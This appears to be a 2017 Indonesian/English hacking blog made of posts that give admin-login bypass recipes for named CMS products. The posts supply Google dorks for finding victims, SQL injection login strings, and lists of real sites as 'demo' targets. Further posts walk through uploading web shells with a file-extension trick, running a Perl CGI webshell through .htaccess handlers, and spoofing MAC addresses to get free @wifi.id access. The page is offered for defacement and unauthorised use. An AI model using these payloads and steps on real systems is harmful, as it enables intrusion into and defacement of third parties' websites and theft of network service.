Showing posts with label xploit. Show all posts
Showing posts with label xploit. Show all posts

Monday, August 14, 2017

Bypass Admin CMS NSWEB

      Comment  
# Exploit Title: NSWEB Admin Login Bypass
# Author : Sipahiler / TurkZ.org
# Date : 2017-07-26
# Google Dork : intext: NSWEB © Copyright 2017. All Rights Reserved
# Tested on : Kali Linux And W7
# Vendor Home : http://www.nsweb.rs/
# Blog : http://www.trazer.org/
# Forum : http://www.turkz.org/Forum/

Tutorial :

[+] Dorking in google or other search enggine
[+] Open target
[+] Enter username and password with
[+] Username: 'or' '='
[+] Password: 'or' '='

Demo :
http://www.nsweb.rs/admin
http://www.nskoncept.rs/admin/

Greet'Zzz : Darkcod3r & EfendiBey & Atabey & TrazeR & Zer0day & AKA_1NF4z & Kutluhan & Alianz & Empire_Fatih & S1R

Bypass Admin CMS Synergica Solutions SAS

      Comment  

[+] Synergica Solutions SAS admin panel bypass
[+]
[+] Dork : intext:Copyright © 2017 Synergica Solutions SAS
[+]
[+] Author : KiLLeR-X
[+] Team : Giant's PS
[+] Tested on : Windows 10
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.target.co/tr/admin/
[+] user:'OR''='
[+] pass:'OR''='
[+]==================================================================
[+]
[+] Demo :
[+] http://www.synergica.co/tr/admin/

Greet'z:Bl4ck_Knight - 9nas_007 - Mo0dypl

Bypass Admin CMS Recruitnex Consultancy

      Comment  

[+] Exploit Title : Recruitnex Consultancy Admin Panel Bypass
[+]
[+] Dork : intext:Recruitnex Consultancy Pte Ltd. All rights reserved.
[+]
[+] Author : Mr.T959
[+] Team : N45HT
[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/admin/login.php
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] http://www.recruitnex.com.sg/admin/login.php

Tuesday, August 1, 2017

Bypass Admin CMS Recruitnex Consultancy

Bypass Admin CMS Recruitnex Consultancy

      Comment  
[+] Exploit Title : Recruitnex Consultancy Admin Panel Bypass
[+]
[+] Dork : intext:Recruitnex Consultancy Pte Ltd. All rights reserved.
[+]
[+] Author : Mr.T959
[+] Team : N45HT
[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/admin/login.php
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] http://www.recruitnex.com.sg/admin/login.php
Bypass Admin CMS Ebattery

Bypass Admin CMS Ebattery

      Comment  
# Exploit Title: ebattery Admin Login bypass
# Dork : "Powered by SS Technologies"
# Author: Alireza Nejati
# Vendor : http://www.sswebtech.in/
# Tested on: win 8
==============================
Tutorial :

[+] Dorking in google
[+] Open target
[+] Enter username and password with
[+] Username: '=' 'or'
[+] Password: '=' 'or'
==============================
Example site : 
http://ebattery.in/admin/

Saturday, July 29, 2017

Bypass Admin CMS Technosparsh & Upload Shell

Bypass Admin CMS Technosparsh & Upload Shell

      Comment  
##################################
# Technosparsh CMS bypass admin panel and upload
# Exploit By FOXILITRIX EL
# IMAZIGHEN POWER
# Tuto
# https://youtu.be/fIyhekmqVac
# #
# #
# Dork
# Design & Developed by Technosparsh
# admin panel
# site.com/login
# or
# site.com/path/login
# username and password => '=' 'or' // admin
###################################
# Greetings To All Amazighs Hackers 
Bypas Admin CMS Loisoft Technologies

Bypas Admin CMS Loisoft Technologies

      Comment  
[+] Exploit Title : Loisoft Technologies Admin Panel Bypass
[+]
[+] Dork : intitle:Loisoft Technologies
[+]
[+] Author : Mr.T959
[+] Team : N45HT
[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/admin/login.php
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] http://portal.fgcbiliri.sch.ng/admin/login.php
Bypas Admin (NoRedirect) Designed By Alkawebs

Bypas Admin (NoRedirect) Designed By Alkawebs

      Comment  
~Exploit title : Designed By Alkawebs - AdminBypass(NoRedirect)
~Exploit Author : hamidhacker
~Email: ir.hamidrezahacker@gmail.com
~MyHome : http://unknown-team.org/cc/
~Tested On : win 10
~Note: Download Tool [NoRedirect] On addons Mozilla Firefox
~with this tool we can byp admin login.
~Dork: intext:"Designed By Alkawebs"
~Date: 15,7,2017
—-------------------------------------------
Descriptions :
~http://localhost:8080/admin/login.php => add this URL in NoRedirect
~Then Go to => http://localhost:80/admin/index.php
~seccesfully Exploited...
—-------------------------------------------
~Examples :
1. http://derbycivicsociety.co.uk/admin/index.php
2. http://www.accessindudley.org.uk/admin/index.php
You Can Find a lot of targets with dork in google...
—-------------------------------------------
Tnx : Mr026 - TurkBoy - Lolzhacker - CENA - AloneLove - Mrpoint - Rpa
Bypas Admin CMS Brahamdeo Technology

Bypas Admin CMS Brahamdeo Technology

      Comment  
[+] Exploit Title : Brahamdeo Technology Admin Panel Bypass
[+]
[+] Dork : intext:Designed by BRAHAMDEO TECHNOLOGY.
[+]
[+] Author : Mr.T959
[+] Team : N45HT
[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/admin/login.php
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] http://hotelutsavgaya.com/admin/login.php
[+] http://poddarmatrimonial.com/admin/login.php
[+] http://modernacademy.co/admin/login.php
Deface Teknik SkyBiz Online Admin Panel Bypass

Deface Teknik SkyBiz Online Admin Panel Bypass

      Comment  
[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/uc/login2.php
[+] You can select SM Administrator
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] https://www.skybiz.my/uc/login2.php
Deface Simple ASP Filemanager upload shell

Deface Simple ASP Filemanager upload shell

      Comment  
[+] test : windows 10
[+] Website: www.anonymous-team.com

[+] source code : https://github.com/windylea/simple-asp-file-manager

dork:
inurl:safm.asp ext:asp
intitle:"ASP File Browser" ext:asp

After checking, no password has been added

After your search, you're gonna have the ability to do it in your tag. Upload file and .....

demo :
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5C_ScriptLibrary%5C
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5Cupltest%5C
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5Cbookresource%5C

asp shell upload
http://www.asycuda.org/wnfiles/mad.asp?upload=E%3A%5Cinetpub%5Cnewasy
Uploaded File: E:\inetpub\newasy\pouya.asp
Content Type: application/octet-stream

Sunday, July 2, 2017

Bypass Disabled Functions Dengan Perl CGI Webshell

      Comment  
 Sebenernya ini trik lama banget ya. Cuman berhubung masih banyak yang belum tau jadi coba share aja barangkali ada yang mau baca.



Pernah gak nemu server yang disabled functionnya banyak banget.


Yang paling parah kalau fungsi exec nya di disable.
Di beberapa server "tua" bisa di bypass dengan trik add php.ini dan menambahkan value disable function ke "off". Sayangnya di server sekarang trik bypass seperti itu kadang tidak berjalan.

Nah kita bisa membypass nya dengan CGI Shell.
Download CGI Shell
pass : jkt48

Nah selanjutnya upload shell tersebut di web target.
Biar gampang buat direktori baru aja lalu upload shell cgi nya disitu.
Selanjutnya buat file htaccess di folder tempat cgi shell tadi dan isinya :
Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddType application/x-httpd-cgi .pl
AddHandler server-parsed .php
AddHandler cgi-script .pl
AddHandler cgi-script .pl
Setelah itu buka shell nya.
Masukkan password : jkt48


Sekarang kalian bisa menjalankan perintah linux seperti biasa meskipun shell exec di disable.


Nah sebagai tambahan, untuk bypass symlink bisa baca artikel berikut :
Simple Bypass Internal Server Error Symlink 2016

Untuk bypass config bisa baca disini :
Trik Bypass Config


Oke sekian tutorial kali ini, semoga bermanfaat.

Saturday, July 1, 2017

Trik Internet Gratis Dengan Merubah MAC Addreas Di Area @wifi.id

      Comment  

Selamat Malam, salam kenal gua LOL1.
karena di Blog ini lagi rame tentang Jaringan, kali ini gua bakal Share beberapa teknik Gretongan yang pasti bisa membantu lu, tanpa harus menyuarakan isi hati lu terhadap website Provider #Deface :v wkwkw.
kalo hacker yo monggo cari Bug kek Phreaker begitu.
kali ini gua bakal Share TRIK INTERNET GRATIS DENGAN MERUBAH MAC ADDRESS DI AREA @wifi.id .
lanjut saja yo.


Bahan : 
Software TMAC (for PC): disini | link backup1 | link backup2
App Change My Mac (for Android)(android sudah di root): google play
List Mac Address:
AA:AA:AA:AA:AA:11
AA:AA:AA:AA:AA:12
AA:AA:AA:AA:AA:13
AA:AA:AA:AA:AA:14
AA:AA:AA:AA:AA:15

*besok kalo ada lagi ane kabarin gan biar bisa akses @wifi.id rame-rame :)

Step By Step:

Merubah Mac Address

- Untuk PC
1. Install Software
2. Buka software yang tadi baru terinstall
3. hilngkan centang pada “Use ‘02’ as first .....”


4. Masukkan mac address pada kolom “Change MAC Address”
5. Change Now !

- Untuk android browsing lagi aja :) [maaf admin ane terburu buru]

6. Hubungkan pada jaringan @wifi.id
7. Lalu buka url berikut

8. Jika terbuka, berarti selamat anda menghemat 5.000 rupiah dan jika ter-redirect ke halaman 
    welcome2.wifi.id ikuti langkah no.9
9. Klik disini


10. Maka akan teredirect ke halaman landing2.wifi.id Success

Keuntungan merubah mac address seperti berikut dapat digunakan multi BSSID, artinya jika ada yang merubah mac address yang sama tetap akan bisa mengakses internet dengan syarat berbeda lokasi wifi.id corner

PERHATIAN JIKA SUDAH SELESAI BER-INTERNET RIA DIHARAP MENGEMBAIKAN MAC ADDRESS SEPERTI SEMUA #DEFAULT

Sekian tutorial Gretongan dari gua, semoga membantu lu pada para Wifi Seeker


Bypass Admin CMS Biz1m.com

      Comment  


Hello World; Malaam Fans, Please Say Hello Haters ;*
begimana kabar lu pade ? ya gue tau , masih pade menjomblo kan :p wkwkkw xD
hahaha, dah Lamaaaaaa banget guaaa gak ngeBlog >,<" , sampe lupa ini cara ngetik artikel tutorial yang asik dan gak garing gimana (biasanya juga garing asuw).
ampee lupa juga cara login blog gimana awkkwakwakkwakwa.
gimana dikit lagi lebaran nih (bagi yang menjalankan), tapi sloww Kesalahan lu pada dah gue maafin kok wkwkwkkw.
Artikel Tutorial kali ini gue dikasih sama Keluarga Dumay gue yaitu bang pu.sh , tq bang pu.sh :*
kalo gak di titipin artikel, gue juga gak bakal buka blog lagi nih wkwkkw >..<"

langsung aja dah, gue baru sampe rumah. artikel kali ini adalah Tutorial Deface Website Bypass Admin CMS Biz1m.com.


Dork : intext:Jumlah ahli ahli vip jumlah lawatan
Admin page : /admin-cp/
Exploit : ‘ or 1=1 limit 1 -- -+

1. Search target menggunakan dork diatas atau kalian bisa mengembangkan dork tersebut untuk mendapatkan hasil yg fresh



2. Masuk ke web target, buka admin page nya di, http://target.com/admin-cp/



3. Masuka username : ‘ or 1=1 limit 1 -- -+ dan password : ‘ or 1=1 limit 1 -- -+



4. Jika sudah maka akan tampak admin dashboardnya



5. Jika sudah, sekarang waktunya upload shell, buka di http://target.com/admin-cp.php?buka=iklanvvip



6. Pilih edit, lalu sekarang kita upload shell dengan ext shell.php.jpg



7. Sebelum kita upload shell, buka Tamper Data,lalu start tamper data,klik submit,buka tampernya, kita edit nama file menjadi shell.php melalui tamper data.




Menjadii



8. Jika sudah, klik Ok, maka akan terupload shell / uploader kita, dan muncul link akses shell / uploader tersebut



9. Sekarang kita coba buka uploader yang sudah terupload, melalui link yang muncul di web target.



Dan liat, uploader nya sudah terupload, sekarang bebas kalian mau apa, disini saya hanya akan mengupload script di dir root nya.



Woot? Happy Deface !


NB : Jika ingin melakukan patching, diharapkan jangan gblk, jangan page login admin di deface, kita belajar bersama disini :) -pu.sh

dah ye, simpel kan ? intinye pinter2 lu Dorking dan eksekusi aja hehhe.
lanjutin deh, lu eXplore dewek nih eXploit & Bug (y) , moga membantu lu ye . ya minimal buat Refrensi aja awkkwaka xD

btw gimane , pada Mudik o.O ? kalo gue sendiri pan betawi tulen, jadinya gua mudik ke Kampung orang wkwkwk, ke kampungnya om ChrisCode00 wkwkkwkw xD
dah yee , selamat menikmati Liburan :p

Stay Cool and Keep ./Crotz , gaes <(")

bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak.
Nue cuma niat untuk Share Tutorial, yg bertujuan utk membantu para pemula kek Nue :')
Sekian dan semoga bermanfaat .. terimakasih

Thanks to: pu.sh